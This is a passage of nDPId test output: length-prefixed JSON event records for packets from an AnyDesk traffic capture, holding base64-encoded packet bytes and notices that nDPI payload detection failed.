4RBKc2upjhfzkWiZ9wKo1J2fKfk7Mb\/h+L8XcSdagf92nd9Su8GG3PjIMdZrwd7mplu6JjxKfAFu+zqxq6ZO3S8I9LCeOR4GS9W16WqW\/hyFuUW1F9seB714bBTPC0vIni+5oLCQzDvkZDUDsHyW8PIPPUEmyz3KeFD\/c4RCwCkeKP5Z0aNTJxdzZiwyoe8d4O0hjG6bvCJGF5VsN+WbbFANnsDXWagXsfrrc4fjH+dHh+FZ5osMSBmpaECnvPszDdwVKuNGxRsE\/8zV53knB4FKYoiehTHh1orfGUaY8NABtX0d1n8VDRyPQ1FShLvOBEzuZjPPfZS6Gr4A+FezNUz8q3n3+lT2CNt9p2seGTuWd6bczaSZSyfBBJuqVTOk+x8p+ISp64Of1DsQfd3HQTg8\/laNrAyEnUZr+wWlHesaH7GtJZZ6z4ogiIw20OePJcIC9j0pWKPt5z1m2f9KI7JVM0gg6gqjIecXFpKEDsl3I\/o3Q1YCqjLFOpfm235nHVxTFeU6VRA4IZ7RklhOgivae7vyTUTlZs8Uo7aedcJjPH286MoY+aTHQqveSHTREJm+hmqaYsTMC3MAJVmNajtME7\/Uz4ee77epqmn2HrdWZUyivCmMwDedNYm2\/ODaOsBbXaOQ97P3vZNhBU3ur9WRFBxtyAeg2EqM\/uE9yiqT+ymYi0zvW0DZc9brvxdlIPfxTJhvWTrq5aBOrFgEbInDr7Al3s4nNAo8svkwaemgwFdVXhw2BdyUEEYi6U7f\/f3Kk1agQPdv9UYeZJTKCgyfv2RoS5vLodV9qpdRTafd6+QwhtomJ5a1i9FXzbXMYauKjpIbmml3JyNzed\/CTFPsyCCs0LWNnKZWCLmkmqSUeDqEk8I7swZxweXwI+YiqNz0qiLEl0wXW\/EiWToWCbC4lBCQXgHTI8aVgijYWZMHrOAO3ydMuTHJHImD75B4057Vfud1AKZP23YVpxh49y3Hrnoc2MADbZsvFzVr0X8xSW1wFoBe+njcTiDSMndcx7+H9bjET+nj59c1\/0GSAjFwOW0rBx9OyCm8F+Iw6LVXykzoxvo82N7oi1keDCidwYcTL3uSRfelAT\/BOgMZOgAb3543hqDAsWoDw+lxwni\/NL4er8hYWCAZnFGXcYFxT4TvDHDNmKYNyIALwZ8vHjmPkYs31mVq3oEwSYZWZYzSYH3o25IO3ee4ddnI+azQuLq4iLnIEMv+sXOTuLkl3UDtEptA+lLy82Yk+Egle5GmoXlC4EsgGKk5rb4YHa8bDKYMvxQ4eECLw48W+G4SfTbbs99alpgJiAREhJ64o2s72n8PWqgYspbzKVvSnPtw6ehdWaZCdd6+ohaJ\/1iZuPpJXMLGGlJPCf+WSVCxGuUCn5fUdRkLueYhJuieo8TyXaP7bUxA4BKdXmNa97WMyvek0KPnTrlFMNvsrlewCTezABRwTi6gPiOndJ\/WZpZ9+PbGiGUqzEWR8QKOEK6+QW8dWdGY4VL4swcStk\/Xqc1EWSgRIxVM4duS01k00eJwfpAScw98e+BzFmO9fafaRmwLZOhePREarDLXlGbCMMeUjPsfchmCkWhmNYZo0e8624xB8llftMRHfmCE0yVhTdxB+IiJP1Sh7nDZsLQEgQATj9o6TTUsxXI3EAJqRW9zwRn0r42G4kFXpOZfdBoNOs63RtPPRPa3iei0pvKbBPRb3ggtuMKo4ySgbJV6pbg0AHd0viFo3BMbjrLgsCbOLwSkMj\/ZROldd75Os7C0MXLHktBd+x9n4CWTZ4lfuTlUu7dFglWMinJXOw1TzboKZawn2DWZJmd76WehcVrivWRTsWZeoN7Ryc+EuBzwQI98Ioh1c9W50bLfc6HhJtWIPNjWNQMGL5jcTdNYCtjaG3S8Z0ZYyVNI8ELYQmlfHPXNYUIGrFqhM684Ok05slA93Wi52StSTyp4ItR\/ktlJp9nMNkbQwE7s7nHiilNMyQDLGOTAIQoG9WF3W8JfGksg9dnsIMAAozjTAniOCZCcMyestGVP\/ZRU1uu5NAmHjboAId0fBpAY\/NajNL+M0hYKlHFeVB3apbC8\/u+0GNElvdrrBzRGfCo9Xcc8WLa4Q8Qb5ZUa\/8yilokEciLKTSOYdbKBOtuNHJvuyhE\/vPILsbIR1TrOMxFMsBdwLfl5BYHJySn7yaSrond4P94WRBNBQxWrZVN6x5jRJwzHrThvkqM9DFAw0prk4pFRn06bc7pqIBu1Of8jk4JLa33Qn\/VTsoLFOohySnlolYtgurXo+96npN20Rz7fVEUO6cH0NEEsI\/mthuQT0Uv5q+3LKx+0CAmJhCYKALHM1IaHRLfPcyR8ewjnWsdhxD+BwlZcSkrlgTk3QnDw0cNT1EO9B1SKBUpyhN3RkiH5Qsh7gLWVMVbbEgBPDnT7b3f94wnU5\/DE15wV1lmNOa905KFulkOzAsuRROhY+Gknmq8Nc4ryn+L3jOMKSHAxIcmy23crM+utmqzjIvrBxmXcnD5JUpB4USFRQO\/vIZdiczLVPQ8S8B1q6J3tT55x+AuXkKmRlZuc5YLKbJiWgYwZM3yAgxVMPNutp064XvEwa1XbIgB\/v1C1LmVxLtVicmTXz\/REbz\/8qYAbpyfr+aQCLEa\/\/WVKvQ2LKEPniHVEMjZtMvF28a2rm0m6Kws3oR63HeGxmCpkJq\/khebo8SoSfNa+ic5Q9XEXKLAb2XC5zGO5IeXa5P+Rcf5uWDPhrsnBHYhJX9XGfK3+UVOTuY72NQ9ONidR4SJ40AwzuEe53UF4ImPhkpEpl0BV1IMVlWzB3d1JSA1x3J4GeKMzfpkOHe7DKBy1\/awpVVwOMiF+aeC7gnLiNrAuCNYh5lPd+zUv2Yby2scIOg8iwanLM9uxY3YMd7nJHRM3T39iJ40MWAA5GZ9wP4QtV7N1YZfweFZKC3MG5Ge4vg\/7BvsFUzAVIWxvnZHZA\/fXhxj83aH4mY351QK6Ad0VvOT07JqG\/Jc1oOtOt7cqNjHEWqMVgSjADX3kpGQeanKOCxa4CAmYnMT85Rna2FCghALXvGJW7wCSwnNemPmHkHhj7r9dubH+3hcuG3C2qElWNHYfus8yAKwvpuSAZmllMCRPdyivEXvbE5+RXB+iFeaHfe5egfjakX3W4gEMNvf1qYWpvt0BNTMITp2LIukeEKjhWJbalCX+WFR9MQNmuPxg6jZOmV130dcc7tQrprO7zVYmxiZlm\/8W7fjajuiKPm2hRiC09+JVsnp4jBb1gKFKHvRqYkofJEJdlhoqjAnGBnrOTjMfRGR9SBicl+2d4tolYPlJfbtZrvmSsKHV3PIFZAQaugLMZYxbBRg84zqkb+sSg8Fomeq8i7XrnwoPIZT3Q4MhfF3jtSntEyp1aYPsZKd5+FhFvzOluUQiu2Sl7Y4rvxOICBRAMAxdtkbmcImUzrjc+Oewy1sU2uAgwiD3Da9DdBYa\/UW62JFbJ7fMSd1dtc5KtD1ReKSz6yQRNom8W8TL4H6HvRA0L2QUqkvGLW395v0ncV6xaWxd4bss2dcLlry+aQxirQSmOBv1F98pqpWv0svHVdXeshWDdrHHIGvaGME0rE6EiBeFYfQ4NBPlbw60yvoHculDzxo6E0E8\/efPhRrZhp2uL6etpLB5lbDDW48LJJmknBEqrrywS5bJXTHvWgLyr3eeT\/4aOJFZ+VhTHTyp9ytivzttrAE8Z8VKhrMm3mfoO0+Pc9d1daSu0DBMDSWaUfmJpkBXI6fIgLvUVOdjCGbMdEhhEm7o3FWHQRrbfHp4BLp+mbOaNAm9ECNihvv+GCiKZLh4TMx9W7ZDDej3ugoW9CDmiqKTrGQX\/JlBtpanDNDqFcyBPFHdKNg4iQBSOYlsuWjdxwLMVjfxXjLoZBYKPOi\/DJSRCYLROcrosEuaWmyYH7s7Qq9QipoI2POID5R95xh7DcSIxV"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1015,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +06309{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1019,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":417599,"pkt_caplen":4444,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4444,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAe2lAAIAGAADAqAG7wKgBstOUG56PITaKWcQoBlAYIA+ExAAAFwMDESFZ4hNO+msVjgbcZew+gmLp+3FDNFZ\/7c4WmzI0attR7GX1XIJ3\/7rvzvLxtuKtGK3fxzDPyQ9lU3HWd5EQF4P8bN1iulufJneQI8uBRqCpm1oHg9y+3GdnWNtJczkkhetkwWfll1XXPrxUe38zPq\/l4G9t2UIlypuCTWR\/1kX4DpOdeNV9N1ImthJo8mQTmfdBwaCuyhetqjVg64cefVXnBQiFmJc0VTaM2eTJ0dZ8Z4ej\/34yn1bZ7i4uaIPDBuVmsOVXm1tuqHlWdnMwaATTN6NZTKGYJU5c2Fd\/8IsX\/Y3HlznDa5HG+bYBfqlwRWP6ae+iL80QRqCLV+3q4M7+qdTrO5wpc34gIb7Irc7bNaT6y1krWNxpiWF3h4vAuy+AY8XePxNJwWbOZAgfH1G1VKyO9NXxw7EtKLFc99Gfsz8+nppRHDXQle3mVOVZsabrag2PIqjzeMlpgzIRh5UtQ1psaAmaoSY0M2gVZYMutwnSm8EBYe9pddG9zldWr0FyXaDcpKlR23FGorHZsfRf4OwSLBp5hLei955JHjIV484TSkUtTFpWKSqoNFt4LF93TXJB\/8BJ7nQDfwlNaK1fiWkDQ00ZWBJ0HOjqH1Vnp2e5BBqDFB07k0HqkbAZNbduUpOLT7nXiSV8BY0yIRC5oqpZGBB6hfQGPZi+djcY\/9W4pywWRIa3EUyT9jmKkp8Z8Aief2GhGd\/mrltjO68TFlepJ1D7dyaNQUs+koAl8p7DI82Kx8bHhair+jvWGp+yzQ15b2OsPmAdNPqOWX41pWqJ+PBITkWYOJvPsPT0MDG2fuD1hVEiqOJt0rce6BXP+WRT3NeQEAqytLTup1ZJnR6BzZp8fB\/mSXhGzRTfkcUZy9evfDeQ9mpkYxzgZGHfYapAbwnaduTaMrWwCtkB1KzP7U8A600gomMJj3HKbUnRFEPwCBaVya3E7xdhU3ZyY9n74zbXgstS9elBcKwE8HLyh9LZIMKCsdNpc6GM9+DjU3tQo985iMBl+3MkkWC8GdAbzeWQza1NF0CYfN3d411edOlB5F0moq7ZmcxGU83AE7HAJqYzsX8h1iNu5IlyQpD4aFg9dVgofgvlK5HuT7YwMf5Kx08XuF72JENUfTfVIuGrP1uz4fJDIlyU5tf2i0fnSxhm+K+Xw5qRhKvghEmpQr5CA7\/J84FOXNSop8Vdsm2WyjfI2oYPZptmHrV0t0SveJOTTev9qwNJew5yM88h4T3zDQWYgJj3lWAUopS4nx\/NQgSfZWJfrSDiNFcv5lKGvlwqgUtkg89dnZZUWl4Xu+NXyBczOCQxwSyg3TfTrHSMFyCtm+vHu36xgxf0+QhgADzfpsS8iXoLFIGb2cGxU1VO7Voeg\/AVGoWrWLd9k2eGSz+epU1vxuvGWB8dqsC30PI\/KuoR07PAye1pUMJvVM77WgjjbhiPOGBjf8Pa5A9K8cccDWw9VuFqCgnh0a36JI6X8jBQIQolHkUQ6nAm0njWZ0E7Ty4HZ1ZP9Y6EGpk8wvVyYbMeyeUWTqb8T9PF+DV9azjmAwBP5SSIFxRdjcwhWas0BVtqpwEsNTW69V5r44aoXFhPnForPF4S277ivx9qW6E8xv7HNktxbL5sie+dxX5QjO4XMmP0t53QGxN60KjZA3Qc65d763dCwhnIxAJuANkkmGaw73YTB+IWFOOnmjY4Uu0naXpnP9nHmRCsWfg5\/l9lhqA8YDzaJG7gboJfzYEwPDpyIfwo806dV3S68RTLw2Lz++wcDAS2lhrWspkf2KK2Na2uVsWF9LPi0wrnMjoPwXAnkB3UeXgtovbqL\/Nu7\/MenxDsTFwoIP4HiEfCUWx1POMwr63yXch5mqkyNt7IWaEhzvfFXlOfCtURLRPi3p\/VJv8KrN58w25gqqTOvjsrSgqgU0nk0inUU9OktSWiPBEUuNWE\/GMso4HKysQC6uc549gfDWvXJEBpBxsDW4Li4D1nN56PGeGvAPGtIr6UrVOXOcJarf3AQD66L\/+zuU\/nZh+FjUbgqJn0VGXl\/wRDWmU5NITAAul+6YRTsEMVJb8UtxZpBFbgbXDqldcR8A5zHOitol2xYHxcRugPZ1olhXE4KNgo51Fd1kavLKTCZRN5TVQYf6OAcGqg1+JJrpDzAvPwQZPDbCA4rOzYIEl4PXlSRiVhrOphY8W5Ygl5D+EkcdZq31rREOeVv7F1Xrk5ZSHucA2KnC+td2\/jQ5N6wpNbDe8XOrd9dRRZSJ5ZfuolTuOZFE2mmva1P5Ryzl+xihfXeQEvRfl8KbQfcpvaJYRX9BFtIz4Z03JPSulaLAVAYmMmCT5gSJcEfRbSpgKhKuzCppn5WgoPZqRT533jXowhvkFJ3KmAPnTF5UQ7B3evjqkx2HHKT8fMQ7mImRQwWVIqypjzyj+PnX4HQxWtpGZ4IXDSthwxaBDq6mJRliKCo2VZrLoywJr6DTNKYmNF9CvMFEjulNWI76SaU44qG\/PVqARqt5R31iBDIceTWD4DNxZSivnvaLHx9ekQF4hZ\/MLM713pOlLElxqBoCaioWPAfpKCAhpWI\/gMmKJ0JZQttSIEu5se7RkQ0V31s5dm8TG6O1CsllRFUh+4Jfeeu8IuzBmjcY56lBQC0Wu2ZlfjMlZjUSwuw0hlULepmWgTq0KyynjT7XLVIJqClsJduUpcsw1w8bZfV8BYgqqxKTcnIP86WZTWf1REgYmNGFIzCBoKf4gg7jGskB\/kLoQq6jiGh2YQBqjYID82iZS8LvjfX9UoJz5C77xnY9ZYBz12BxmtDgHKm8ZPGJOBXDq4DJaKK9y0TArYHP8jASUwrY4jOCK3+ce8BWxIR6rElaB\/RpjsAS2SGv9iGVFyNhoBY1imyOv+70nKl6xd\/XqbzABgbk+B1bhfQ8chVHH9P5eWN7FcwKpUAHjVvxcwWe5GuBDuGJp2x2ZJPB0R3GOhsyjKqiI1kA0NoQNCDTs\/51XIhMjTHVy6wLsIWgw71h02gtnActXNFl0RCtFyGXvcFA1aCK0gf9oAbZv43Qkgf\/DfLboHW1smgbUdB2r52R6Lv7ZS4YMQ69RooohMBaH7Gh3Zpy57bmix+v3GSR9egb1\/G8eOln3q5+XbXWdb6K\/wJOzy\/GMhXOn1q9Lp5ggaA6XmuavXJU3Z7C0Fe7oehTeyeE4BrsnRRs\/bUrnmufI6UgKU5S0jAxLAQylRjveS\/GXO0zWpFkfqkrODtw6QNdt17oRa6N3Pi\/5zuEL0fvs+6puNv+C7V2C3bcEdUHEjAduaXN2Bee0gvMIJD4kw60ZgZ44K\/Yq0Mxiw8ftzsE6RyR+whPWvYz823ilzLdZ34eZLRAS33oqR6IKeGj\/ECee88PEJATuLUycngkwPPJzsCkM2mINu7Ph\/qzsnO9mmFbbbTqNqfZSY3VOqcpDgRAL8yLJnSHGFDZzK\/ULprUVYHubfE4Z0IcixzRTxmS1MGZhlMMLzSwsC3WzlPqwQgTJj9bHijhY0ihcI8DGYuL1v9k7laEHDVVh0uCWWbgyD7GgQJbMQqcfYbjo7XU+q7B8hw\/mtdozC3fxoh7ytkme6ILLrJhTKR864MD0bft81svFx+UQzXAaGBj3uKSAqBcOOlPHjn38JHXpdZbW2qqo4Riy3aAoXl9e5rMNHbvCBFSROUoJMZGi5bb4KK2GpKwddFeE3B6pFvxmu096j2ANUJ+AwB+Ct+oWQ7z6EhLtYH\/oIvW+2M2pqM5Yroe03HtPcJdz7MCmrl1ooB2XWhCDP\/8P4x9ZIftGCGgA4q4wLPczR6ggcIJLY6IV2jOfPNWYD8x13VRpQdljdiV7JCtJFueBtVpTTREj6xneL3ZpmN2IRc2uxr71EqQulqdUPyiXhzuwpgZf4dZIS\/V6xLYDsjT2bWzz8zzzldz214NsVIgjabNmpgl1lI6ewl\/sMkCHpOs3duAvf+n6Zmeiu5GAU7yst8t47pyA23sUN4JtaeQjZgS2kwtXH\/PlzBwhAMNiwtLXuOTyocXRWVVjxt3ReeQfv2DJa5uXzeK8aB3+WhNq8Xay8Z4w7tTXIURlSDVLhetGDKAqDkoABtPzEKN9RXRlJ\/mZj5ndtyf4UwT2w8IwUanAgZ4hMseOpfUPgwLYJ9Xg3Lvve0RUPj5Mj87k34hkL2PLF\/\/jKypgBaW8zF7k4LFCNxZctxpmvJglKPLjMar5JSMWbfGb6CzJ1RVFgZg+OaCC8vm3mDO1tFtEa6guxt\/FtMm1+KzWTyEQqBx84ZK1B\/oE1C3Nr81dtb752Oe+Wartxb+8IPTwfEYT0LwFQmx66rp9LxvYzxqzcjhXZs5UEv\/joYsOsnG+EdWVz+vgCgl79lGxjK3bw46TZkb5fIh9LxRwA7TvSCmMunWaPHEikfZuAyTqVozaBYovky8D7Jo8qpkV7cA6\/vIiaiMWSY5\/FVPXHYn4uIs5DDhp0PtfHXH8VS1DmgcMeknYrc8WLBocRL2Ttyf2msmoZtinjxRX2sR0ANPVck3qqTvn\/FLHfa08sSpTANcyRpIwRkV1nFEul\/k+mMiyAA5aa21B0iSn4ajudfOf4zOXuTGucMlgp0C2WicX3bdHuM4DRnqD4HzhrfTp+\/2actSyZRD4ULkI1WTXAEt6vJYMBDtxFx2uN7bLomeovBs9ZhyOSzsc6PNmdb0tmsOrwTudgQCPYXSc\/raD2lXrN5ivMdihEnLsuiGdNCr+trPVTwQBY6MjAJ9hRHC103wXqa5WMu7XZt2vtM6+mDLbGZntpF4XRKZuBVRcoP0dnzsWGHvcAl7y2t\/VPp0QzVND6PQeTHf1l4fu68fJat5QOSvysDD5hBkckocto8\/UM74faIZ74l9MPIuhVbYdj3J\/\/VgMEcuhhFiAHj\/v6Hcdol\/9og1g9m7uTBZu+HPAG13WCdDhbrBnXC2UNOpRjkeB3HbQFTzlzhIhOUXwPjW1YWt117zTTc+AWFZLnc6Ou+ASDtpAUYc47la0+edWbMD\/dQeaX7Wo9E0B+QXG6ijG8zhVNBBvwk7mhBCFYqWBKN8GKVfWUvfraMHcEXnz9TMqHJpwJtOkDUty0+vuCLYv7YO9byRMqI8+CgBMqtrmrEgEeVa2ZEvX6Rh31Snp7JyHNf58eA\/i4\/\/bS7za9JOig3LbyesUItep0vs+Ru3T4kOB6uDUm7uj7esxDv7eYA28e3qgxbsWztwW1sk9o3vRvGCa9xLB\/909AYwvu03YFOlql3Wms28MJlYpJpJfvFk5jZ1wqYKqSE+0R33v1zYPM3p2jQtn1CebGUxtqZKdGfj+IX377rG\/ePRMzpu3y9mRcvv5hJXm54B2I1DJDifbZdTWj\/0cTxAsN\/7eVKrAtMQt6SVSowYRqx2SCNDZEiItCS0wqlopty0YOwVsk7wWMFgAyYYwbGTZwgBYoQ8BbrTty8KI+OEF++1WSW1kSSUmk2x77qLiYzDRUTIAkzOouvLlqLH8rdM4EF4kqLpqXOLtFDxduC3m0kRYrD\/wDJeGD+MFCKSA6iCXqBzWiJiXXVYdPOtAi4mr7L71yAzxsyTR8DGBFwXsZr659GkDclDiJIH5hLt18vnnlks4GwknyANpDP0PijzXR2mm\/BLsvQWPJeYiso3GEUZJ0HOWlQEsmCPet0EeBTutc0PXOjfWQOJYBKMHmWVarnWVs2AJFJOqn+MSwmKG3+xMptY8v0SlySIZMQb9akA1J+yukONQvgrv27eMTJQ6ZA8LGwb1fQc+aTQ8IQyIYMv8DKUkR23VNtasqZwVN0kHobivQPeMAAe741eczSU85UF4xIrqd+NriWdeuzzKZpm4N+DmtPuE7f0F7LVf8otfK0Q=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1019,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4410} +07476{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1027,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":447452,"pkt_caplen":5307,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5307,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAe3FAAIAGAADAqAG7wKgBstOUG56PIU0TWcQoNVAYIA6ExAAAFwMDFIBZ4hNO+msVkU+acXY3Vn+UPvVnUtPsxRLI2cz9gm9bYBFBuCle+F3fw5k41I2BHfDvxPnCMuZiX\/0sqTVK9sx98VlG4kpx5GsfVEmf1BJS807XHubnrxn0XtuGvR8rIQl5EDdFpz8kBnU5rc6dUIBGAi4SH2boBaSLZsTgLOPjw10FKyp7TKUFNgHeIj5EbiHZvwopwFsb\/abK9imX\/dsjxzMymeYQSro6BVaZDxrydQ+0ineMLBQWVmIXOdtoYg4vp\/IfgHRnO\/DYxfKXrUELQUhLy7rLLXQ6LPM4xsi2sjCYbs3sFnbh\/a\/FZHtkY5nErrpHzw9oXEuiAidS84d+RLMzDFUfxyjl8gPOBUvbjc9\/leYhPbs2L2d1ZZ6vizf7cuXzjokVx0qUps8Cj6MhFXfWxGa5+U4AajIgNuQ793J\/AyXY9A4nJeVwn5MOMoh57GgyRKxkp8nz8AhuqgTzo15vO1zz+LcfQLjOGtqCVKatl211tcpHUpPOcAzU7gFxwsJso7QTkPs07jCyPfY0mgzc2QNUt5kKwSNeL6URfeFRForlTU8NB4hkacOnVXUt8qYvkFJqaJwYGKD34H1I6g47Ltm3yiXUgHcSMfX97BN+iAWueOo+BlGVOfrq8PeDajxq04veelVs96ySmw5jWmrJHLTVRRYNPDEtNu58z48fT65J8\/3JfyFWQ1Vlgs9Hjqgl6ZuX3kc+40BVXKv1c\/q4XYj1\/FPVsZu36FOKM7UjFnpv857SgNVfRsH\/eYCUd5RPIbwHxgYOawXBufHt\/nKNH0mESd3W45vB60LgRh1M\/f5WgRxYCFBahQfNyQ0DB1Cb2jUkiVspB81ScOeWfvNPVhhNajauFaJ+eAN3ePzRSwR+HDd1e4kSjOkRAbrWUEplsUU9O5e2CZHxah53PXv9s+sAJuGLvV0N234Xf5xlhQm6IPRITyxhEBk5DkToI1GuoOIpSA1vOXoaS6jHjSkaPdV+Vx4cC53ITAabGvVGtSc0JJqWMDfxGqIUAbW5M3+RGpE+ZDjIsY1IVXFBub4sp6RN3NzoU+iBd93Omcq9xZtWSzhC\/NX5k7BddY0CCNk\/rCTBXBykIovvpUsaVBo5QZf9YJX8ZwjJCHiz8IkFP4NgdowHBmGQJkUk1p2rn437uDI7CSgumWuCxSa3qAdUVgW24uDGBzfpNbYX4SpQOXj1Q6RfwmtO9ZcGE2xfuSfRK7MSOgbvATf7Qc7uKb58apskuvKbFQOOa6aNz56T\/tVtbXFm0KS9PxMDa+d6N6zxFPyZTuO5lXkM5dvkTgFliKjCfe2X9SQbWoUhVL\/ez78Odjv4GPSCFN04WXXsfFt9ld9KSIYPnczNIaLRY2Psp0VK1P3jlSwPyRSqQzMGTdMYb15RpELpi+CmfrQQPLBkelQVPBchMev+Jl6wA7PyvNysOLgowLI99wpX2MS\/YNsgLfwPIZu9+mQlGtJKWzlkhzXJazQZLCdd4s4PjOqQEvXszlawwunB03iOi\/3KMmrZdzKEkBsGsQ\/P0q\/8iqWSsx4Za5Jyhmrtc5xpqOkXPfo2bEX74G5OR\/N9zWmHdpdh60NAF7XsgSUAeKYlV1ak2YtZZGk3tnLT5ejdDnhHnLvncuUY9nW6vuw12j\/QIY8udFK4QZEmnI1DcxOoR7mFmUzG++6++ntApPjLTPB+eQhJfAFE1G5RL267sm09j6Xok+kgKa3QjNwOpG+ihbcjITm4OYMVufvAPcg0wLvsHOUHcnNLu3p3DPx0mhZ\/yRWXt1SFOHOp9+DfTIUQXdN+pvz0MJ6RSCFS9lwnRB1jWd4CnQkhJFjkWwKjtlROFkyGcgCviV5UI8Nx3KtKNGeCfDaojDXg9SGhHxAbP\/f\/YKR5InxlOaH7tpR\/odhqsWneXNp7if5zPa4J+tl+vSKRZ\/ANtNK6FAZwS9lL1WvKIdXH3VRPUj\/6+aum1Kktq6+8Jvs7tgBrLCky8TPWDn8aSgWW9fuMhUBl3XNiUw0ZxGhlUYGEhIFQnjMXfdWantScMTU98i1L9bBRPYesfY4wA2iNFbGv9GbfXZIS2aALtJXrSuOYLPnmG3ItqCnuwH1sPSmU9MlR2QcXAB9xIRGQMaDi6Lk4lwMCJaLoLMhjAd4psChEiBu0KFxrq8tB5i5rpaa0x9qj8kMGz\/1zM1xEoxkZhYUHyXMj92vmgzsBPhg8pvQ8uMS9T6NjKwzRb9pThl6+0BJqaxPmZ3LyB\/TefXF3LloeETluK6xxa27Wuqe\/msqlVHArmkDOnzZ74gXuoQfIpb104u7pUFaumkabeuBLH5O5sPfo0oyiNfXBfbAMluR8SL13yEB\/Tm2+6iuJ4DRYMg4dEmex4M7aBDIYMaw682KDhU7bMJTZDjrOHv4gfPYFBGJk\/50iqB\/JCl2Iq47lPk972Chvs8kXgipeUawX7tnS\/1BbTsu5jFfqJ6FUEiG+lEKyvfPUV8e89kemUIEZIiPu9kEpaEG4wMkgqJKL5mBHBerPeKax0f93Q2zbT93Tdo48\/cMvvB2LYxfSXSnNBuBXuN1RwJFv+1Dckekk6vkjp9jHolYo1CHMP3mHHjzhuqZGB8v4NTfV2LHU\/JcI6AWorymn5+O+xtyRX7QxTPnRZNFvmOa5KP9isHUObciepfWdmmdXSwU\/rcstb9bTiM\/7HKD+mEEr4hYfxPSfZUAE+2Bo9sO\/Ln8nthzKdHai199Ge2h5xYT3Aa3vxxmgfolqAvht0Kem7e7sQg9AsgfZjdgTc+cRRlqCHSTbG2+FVtb+NHSkXT6n9rJP6JeRXThjNxAVs2kqNlCXTKyfaLZXYlNQpoQkRr\/CeFeXPSxl+ZMCX9+aZdU9vNzvDriMsZxRMwcD2SNe7CId+jPX5g5PCxFHAi6ixPFk3dTb0zFfDv1VCS33wzW4+N80uiQO\/+gGiDx0UaEqZZiwz1jBnpbvu\/Z1Gs23AMQLc9hcZIyBVANIAQ1gnN3X9Qxg\/V6NUKYAtuu7oeHlvGzUymK6UE6fhWcP\/ry0lqsL4ESxj5H411WPDqS7MFCcqcgLn5VZ5DavCj5v8Ndb90WJfHyhOul6wtEAGumv6fYVoboVCXJusrUPa46I0UJH8ShoiqqI+0PztF8DGwrsYlOSKBVtFPjT5yQzi\/NFosf8o4Pz2X\/oSsMECUfDESTuKWlDCBaOiwF37XTJjithAfMbRRjMbwM02cXZGDzyyMZ1XmGEvJIqCKPgtZZF5Rh2JXlJNNmlcxSfuNAwXBc3Ir0jAu3ILzV4IXXBVE2M7ZWORnwG9DHpfX2b+YATcMFFvdEdgUAsq9DqZy1KpoaaJLKpw8X1qwYU24TlwdEFtCFpTpal2sHtKX\/dxp76GlwYqkXwBbhf1yBuX6dGrNVtDgErl5pI121mz\/7c49aBjcdG93JX2EnAaTohPeU+YFk1afD1TDHESxPno4qGZaW0MOwPWLGcp9sDYrlx0NVdJV64\/7uf2eCLqbirC\/NsG6ZG\/SoLHywLGlgb0VZHm71kC1e2nvhcpKjpnz2sejMMNllNXGZQ4OsW30fTKcbU+V4P5YJO2g4P0WZVI90iAobUfdS4K3fG\/m14sGazNADNiQiNy1hOTshHPliHT9Vz3BzYEvK+LRWK+vRj7crbeFUSc6TRrW4jPjoc3qb+p7fQ0aChfyRS4AwX945oKQyXTWfSmyWZnk0BH5S\/h+LP2IRcaBCSNwUR5rJGlgZ9TWpNca1L209gyl6E6JlslPaaWh+yEX4efhQ0qFv0lu4a6cOJHoBkKefo4odhiNOMlw1trnhduT4EFKBixlfTHQNT5rtXDySaP8Hho3kW2KtQT1xfdFcqkpESQ2JDIBVAgxB3fnfPtsTKQ9amDM6Fzh5jI7N1nxqqh4dIs5gFTI\/pqYJaJRf2WZtc0P\/3PIaNmcBgkRVYsDhfJqCfcJVa558BpPrfobdkRxc4vDkWCDAzY\/gfhFUjTIsmhtCEyqu3VyFS1PfXPHk1ZstYEgunbYzrnHQSSIVE5KGz8B16CNCSMdpAXKk46oOxRehBY+BMGyydHnuszdmDqYssvGQzDw1txwWyIqboFA9k10XbPlELsM8Qs4ZI0p6y5ET4lQg442W+W+p26CdE4Mfl1pAuPKAYUZ3RAomP7xXHrJZLebCUTX0BUjEs+gzEzuYrxyK1aW1bYm5jPt834wWwedam3SPmM6YXhD5inyXpPEM+dlRuMODQYQG4jZ6agw1Ziffr5J5iUo8MdVxKes0zS33cqg7Q\/9Ls34zuZ6eBbEbzjGTi0bsJmkPVYhOUIKFGOE2pOdQAPPaWNaVTd4UZQbHIoOZGfyxtLXUmXNSQUvsyuOtiDGl61mywUql98YVTYME2BQv1c4JBGHSsRpCL+Ekt1dqgeZspxn5qGqPMYzWo2jFZtDOYjwYLxSGDFZBjFBa\/ccJHKVUebrxTm22mjv78Lr9KYSwShXPm5vTLcDiqtBfipE1DYie\/3Ax7qYoW5\/UcnINvaPKJ0yqANvFS3Wipeb7BbUcarfHM6u4C7O4HNf9llMoAQ3m8XfEfm72laOnh+tzKkC\/aZa32OLDIVN9zCvXL9vK5INgfUtiblk9glCEoMlfRp9p6ZIhGg5s+bjAznFImXkWlhqvUOnPLAlazw8wwA9laOGi6Xsx2X+9LZVFwRnTqsq0gmjT3X0I2IWHztpf+uSfExXhCFA4QbMWc5CImWOLrTccB6wwf0FC0GC91AoxChYIEHKyQnOevpHg51Wp2lBCCNfZaHVocxLAxZJ0d8itQCI5vDSJrReD9lxUqm70TVjkP1+ObE2Kf9laBnHqUmvyUT84NUIkBxEqF5zoUcAVJDefa8V5sGIfX2Vlxj58zMoK9HabDVuEZuRmYMoJZ2jexaPSoD9t6PX5pFPSh0Phy+axNa5B1jgp0QjJRnLGYBJlMAn1XovgLj\/FWaZJqN7TR10AfczfvkyZ3+NO6kza4UfSXB4gx2HZZe2AZNjCrOSTsIZJzlOq0sAsQZCidVbd9wPRqq91HIj0CiSdCTNasvWYEgonKMFVyWL